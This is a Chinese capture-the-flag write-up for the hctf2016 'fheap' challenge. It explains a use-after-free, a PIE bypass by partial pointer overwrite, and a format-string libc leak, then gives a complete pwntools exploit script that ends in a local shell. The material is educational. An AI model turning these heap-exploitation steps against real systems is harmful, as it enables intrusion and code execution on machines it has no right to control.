hctf2016-fheap Writeup

TOC

  1. 1. 题目介绍
  2. 2. 漏洞利用
  3. 3. 利用思路

题目地址:https://github.com/zh-explorer/hctf2016-fheap

测试环境为笔者自行编译的glibc-2.23,加上-g参数(baby heap),并按照要求开启pie保护。

感谢来自大佬 钞sir 的指点。部分思路借鉴自 钞sir 的博客: https://cc-sir.github.io/2019/03/28/pwnf/

题目介绍

源码:main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct String
{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;

struct
{
int inuse;
String *str;
} Strings[0x10];

void showMenu(void);

int getInt(void);

void creatStr();

void deleteStr();

void freeShort(String *str);

void freeLong(String *str);
int getInt(void)
{
char str[11];
char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' && i < 10 && ch != -1; i++)
{
str[i] = ch;
}
str[i] = 0;
return atoi(str);
}

int main(void)
{
char buf[1024];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

printf("+++++++++++++++++++++++++++\n");
printf("So, let's crash the world\n");
printf("+++++++++++++++++++++++++++\n");

while (1)
{
showMenu();
if (read(STDIN_FILENO, buf, 1024) == 0)
{
return 1;
}
if (!strncmp(buf, "create ", 7))
{
creatStr();
}
else if (!strncmp(buf, "delete ", 7))
{
deleteStr();
}
else if (!strncmp(buf, "quit ", 5))
{
printf("Bye~\n");
return 0;
}
else
{
printf("Invalid cmd\n");
}
}
}
void freeShort(String *str)
{
free(str);
}

void freeLong(String *str)
{
free(str->o.buf);
free(str);
}

void deleteStr()
{
int id;
char buf[0x100];
printf("Pls give me the string id you want to delete\nid:");
id = getInt();
if (id < 0 || id > 0x10)
{
printf("Invalid id\n");
}
if (Strings[id].str)
{
printf("Are you sure?:");
read(STDIN_FILENO, buf, 0x100);
if (strncmp(buf, "yes", 3))
{
return;
}
Strings[id].str->free(Strings[id].str);
Strings[id].inuse = 0;
}
}

void creatStr()
{
String *string = malloc(sizeof(String));
int i;
char *str = NULL;
char buf[0x1000];
size_t size;

printf("Pls give string size:");
size = (size_t)getInt();
if (size < 0 || size > 0x1000)
{
printf("Invalid size\n");
free(string);
return;
}
printf("str:");
if (read(STDIN_FILENO, buf, size) == -1)
{
printf("got elf!!\n");
exit(1);
}
size = strlen(buf);
if (size < 16)
{
strncpy(string->o.array, buf, size);
string->free = freeShort;
}
else
{
str = malloc(size);
if (str == NULL)
{
printf("malloc faild!\n");
exit(1);
}
strncpy(str, buf, size);
string->o.buf = str;
string->free = freeLong;
}

string->len = (int)size;
for (i = 0; i < 0x10; i++)
{
if (Strings[i].inuse == 0)
{
Strings[i].inuse = 1;
Strings[i].str = string;
printf("The string id is %d\n", i);
break;
}
}
if (i == 0x10)
{
printf("The string list is full\n");
string->free(string);
}
}

void showMenu(void)
{
printf("1.create string\n");
printf("2.delete string\n");
printf("3.quit\n");
}

主要功能

void showMenu(void)
{
printf("1.create string\n");
printf("2.delete string\n");
printf("3.quit\n");
}

两个结构体

typedef struct String
{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;

struct
{
int inuse;
String *str;
} Strings[0x10];

create string

void creatStr()
{
String *string = malloc(sizeof(String));
int i;
char *str = NULL;
char buf[0x1000];
size_t size;

printf("Pls give string size:");
size = (size_t)getInt();
if (size < 0 || size > 0x1000)
{
printf("Invalid size\n");
free(string);
return;
}
printf("str:");
if (read(STDIN_FILENO, buf, size) == -1)
{
printf("got elf!!\n");
exit(1);
}
size = strlen(buf);
if (size < 16)
{
strncpy(string->o.array, buf, size);
string->free = freeShort;
}
else
{
str = malloc(size);
if (str == NULL)
{
printf("malloc faild!\n");
exit(1);
}
strncpy(str, buf, size);
string->o.buf = str;
string->free = freeLong;
}

string->len = (int)size;
for (i = 0; i < 0x10; i++)
{
if (Strings[i].inuse == 0)
{
Strings[i].inuse = 1;
Strings[i].str = string;
printf("The string id is %d\n", i);
break;
}
}
if (i == 0x10)
{
printf("The string list is full\n");
string->free(string);
}
}

create string 有两种不同方式来储存字符串,当字符串小于16时,直接储存在string->o.array,否则申请新的内存空间来储存,而且释放的方法也不同。完成操作后生产的String结构体会储存在全局变量Strings中。

deleteStr

void deleteStr()
{
int id;
char buf[0x100];
printf("Pls give me the string id you want to delete\nid:");
id = getInt();
if (id < 0 || id > 0x10)
{
printf("Invalid id\n");
}
if (Strings[id].str)
{
printf("Are you sure?:");
read(STDIN_FILENO, buf, 0x100);
if (strncmp(buf, "yes", 3))
{
return;
}
Strings[id].str->free(Strings[id].str);
Strings[id].inuse = 0;
}
}

给出要删除的id进行删除。

漏洞利用

typedef struct String
{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;

看到这里第一个想到的就是double free,而且在deleteStr函数中并没有对double free有什么限制的操作。本难题的难点是绕过pie保护,可以用部分覆盖来绕过pie。

ex@ubuntu:~/test/hctf2016-fheap$ readelf -a pwn | grep -E "puts|free"
000000202018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0
000000202030 000700000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@@GLIBC_2.2.5
59: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@@GLIBC_2.2.5
76: 0000000000000d4b 27 FUNC GLOBAL DEFAULT 14 freeShort
83: 0000000000000d66 42 FUNC GLOBAL DEFAULT 14 freeLong
ex@ubuntu:~/test/hctf2016-fheap$ objdump -d -M intel pwn | grep puts
0000000000000980 <puts@plt>:
c4f: e8 2c fd ff ff call 980 <puts@plt>
c5b: e8 20 fd ff ff call 980 <puts@plt>
c67: e8 14 fd ff ff call 980 <puts@plt>
d18: e8 63 fc ff ff call 980 <puts@plt>
d2b: e8 50 fc ff ff call 980 <puts@plt>
ddf: e8 9c fb ff ff call 980 <puts@plt>
f38: e8 43 fa ff ff call 980 <puts@plt>
f8a: e8 f1 f9 ff ff call 980 <puts@plt>
1014: e8 67 f9 ff ff call 980 <puts@plt>
1126: e8 55 f8 ff ff call 980 <puts@plt>
1163: e8 18 f8 ff ff call 980 <puts@plt>
116f: e8 0c f8 ff ff call 980 <puts@plt>
117b: e8 00 f8 ff ff call 980 <puts@plt>
ex@ubuntu:~/test/hctf2016-fheap$

如上所示,将freeShort部分覆盖为上面的值时,即可相当于将freeShort改成puts函数。

利用思路

  1. UAF漏洞将freeShort改成puts函数
  2. 泄露程序基地址
  3. 格式化字符串漏洞泄露libc基地址
  4. getshell

用UAF漏洞将freeShort改成puts函数

d18: e8 63 fc ff ff call 980 <puts@plt>

就改成上面的地址即可。

call_puts_addr = 0xd18

# 1 . UAF
create(8,'\n')
create(8,'\n')

# UAF
delete(1)
delete(0)

create(25,'a'*24 + p64(call_puts_addr)[0])

泄露程序基地址

# 泄露程序的基地址
sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*24)
ret = sh.recvuntil('\n')[:-1]
image_base = u64(ret.ljust(8,'\x00')) - call_puts_addr
log.success('image_base: ' + hex(image_base))
# 清除流
sh.recvuntil('quit')

由于string->free函数指针储存的信息就包括了程序基地址。

格式化字符串漏洞泄露libc基地址

在Linux,*BSD和Mac OS X里也使用同一种方式来传递函数参数。前6个参数使用 RDI,RSI,RDX,RCX,R8,R9 来传递的,剩下的用栈。所以第七个参数才是栈上的一个偏移,即用$6来偏移。

这里我用了一个最近的偏移,具体计算方法如下:

───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/stdio-common/printf.c
23
24 /* Write formatted output to stdout from the format string FORMAT. */
25 /* VARARGS1 */
26 int
27 __printf (const char *format, ...)
► 28 {
29 va_list arg;
30 int done;
31
32 va_start (arg, format);
33 done = vfprintf (stdout, format, arg);
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7ffea8f7b568 —▸ 0x5615a0226e99 (deleteStr+265) ◂— lea rax, [rip + 0x201220]
01:0008│ 0x7ffea8f7b570 ◂— 0x0
02:0010│ 0x7ffea8f7b578 ◂— 0x100000000
03:0018│ 0x7ffea8f7b580 ◂— 0x5f5f00650a736579 /* 'yes\ne' */
04:0020│ 0x7ffea8f7b588 ◂— 'vdso_get'
05:0028│ 0x7ffea8f7b590 ◂— 0x0
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7fe021bf5410 printf
f 1 5615a0226e99 deleteStr+265
f 2 5615a0226ced main+260
f 3 7fe021bc9c09 __libc_start_main+385
Breakpoint printf
pwndbg> stack
00:0000│ rsp 0x7ffea8f7b568 —▸ 0x5615a0226e99 (deleteStr+265) ◂— lea rax, [rip + 0x201220]
01:0008│ 0x7ffea8f7b570 ◂— 0x0
02:0010│ 0x7ffea8f7b578 ◂— 0x100000000
03:0018│ 0x7ffea8f7b580 ◂— 0x5f5f00650a736579 /* 'yes\ne' */
04:0020│ 0x7ffea8f7b588 ◂— 'vdso_get'
05:0028│ 0x7ffea8f7b590 ◂— 0x0
... ↓
pwndbg>
08:0040│ 0x7ffea8f7b5a8 ◂— 0x0
... ↓
0e:0070│ 0x7ffea8f7b5d8 —▸ 0x7fe021c15c3b (_IO_new_file_write+101) ◂— test rax, rax
0f:0078│ 0x7ffea8f7b5e0 ◂— 0x0
pwndbg> p (0x7ffea8f7b5d8-0x7ffea8f7b570)/8
$1 = 13
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5615a0226000 0x5615a0228000 r-xp 2000 0 /home/ex/test/hctf2016-fheap/pwn
0x5615a0427000 0x5615a0428000 r--p 1000 1000 /home/ex/test/hctf2016-fheap/pwn
0x5615a0428000 0x5615a0429000 rw-p 1000 2000 /home/ex/test/hctf2016-fheap/pwn
0x5615a1544000 0x5615a1565000 rw-p 21000 0 [heap]
0x7fe021baa000 0x7fe021d30000 r-xp 186000 0 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
0x7fe021d30000 0x7fe021f2f000 ---p 1ff000 186000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
0x7fe021f2f000 0x7fe021f33000 r--p 4000 185000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
0x7fe021f33000 0x7fe021f35000 rw-p 2000 189000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
0x7fe021f35000 0x7fe021f39000 rw-p 4000 0
0x7fe021f39000 0x7fe021f5b000 r-xp 22000 0 /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
0x7fe022154000 0x7fe022157000 rw-p 3000 0
0x7fe022159000 0x7fe02215a000 rw-p 1000 0
0x7fe02215a000 0x7fe02215b000 r--p 1000 21000 /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
0x7fe02215b000 0x7fe02215c000 rw-p 1000 22000 /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
0x7fe02215c000 0x7fe02215d000 rw-p 1000 0
0x7ffea8f5d000 0x7ffea8f7e000 rw-p 21000 0 [stack]
0x7ffea8ff1000 0x7ffea8ff3000 r--p 2000 0 [vvar]
0x7ffea8ff3000 0x7ffea8ff5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7fe021c15c3b-0x7fe021baa000
$2 = 0x6bc3b
pwndbg>

准备好所有值后就可以直接进行泄露了

# 泄露libc基地址

delete(0)
create(32,'aaaa%'+str(6 + 13)+'$llx'+'a'*13 + p64(image_base + elf.symbols['printf']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*4)
ret = sh.recvuntil('a'*2)[:-2]
_IO_new_file_write_101_addr = int(ret,16)
log.success('_IO_new_file_write_101_addr: ' + hex(_IO_new_file_write_101_addr))

# 需要自行计算
_IO_new_file_write_101_offset = 0x6bc3b

libc_addr = _IO_new_file_write_101_addr - _IO_new_file_write_101_offset
log.success('libc_addr: ' + hex(libc_addr))

getshell

# 设置string->free为system函数,getshell
delete(0)
create(32,' '*21 + 'sh;' + p64(libc_addr + libc.symbols['system']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

const_file_name = "./pwn"
sh = process(const_file_name)
elf = ELF(const_file_name)
libc = ELF('/home/ex/glibc/glibc-2.23/_debug/lib/libc.so.6')

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def create(size, string):
sh.sendline('create ')
sh.recvuntil('size:')
sh.sendline(str(size))
sh.recvuntil('str:')
sh.send(string)
sh.recvuntil('quit')


def delete(id):
sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(id))
sh.recvuntil('sure?:')
sh.sendline('yes')
sh.recvuntil('quit')

# 清除流
sh.recvuntil('quit')

# context.log_level = 'debug'
call_puts_addr = 0xd18

# 1 . UAF
create(8,'\n')
create(8,'\n')

# UAF
delete(1)
delete(0)

create(25,'a'*24 + p64(call_puts_addr)[0])

# 泄露程序的基地址
sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*24)
ret = sh.recvuntil('\n')[:-1]
image_base = u64(ret.ljust(8,'\x00')) - call_puts_addr
log.success('image_base: ' + hex(image_base))
# 清除流
sh.recvuntil('quit')

# 泄露libc基地址

delete(0)
create(32,'aaaa%'+str(6 + 13)+'$llx'+'a'*13 + p64(image_base + elf.symbols['printf']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*4)
ret = sh.recvuntil('a'*2)[:-2]
_IO_new_file_write_101_addr = int(ret,16)
log.success('_IO_new_file_write_101_addr: ' + hex(_IO_new_file_write_101_addr))

# 需要自行计算
_IO_new_file_write_101_offset = 0x6bc3b

libc_addr = _IO_new_file_write_101_addr - _IO_new_file_write_101_offset
log.success('libc_addr: ' + hex(libc_addr))


# 设置string->free为system函数,getshell
delete(0)
create(32,' '*21 + 'sh;' + p64(libc_addr + libc.symbols['system']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行结果

ex@ubuntu:~/test/hctf2016-fheap$ ./exp.py 
[+] Starting local process './pwn': pid 4732
[*] '/home/ex/test/hctf2016-fheap/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/glibc/glibc-2.23/_debug/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] image_base: 0x556ed24cb000
[+] _IO_new_file_write_101_addr: 0x7f108e684c3b
[+] libc_addr: 0x7f108e619000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

总结

不管你有多么聪明,总有人比你更聪明。如果你想变得更强,那就必须得到能得到的一切帮助。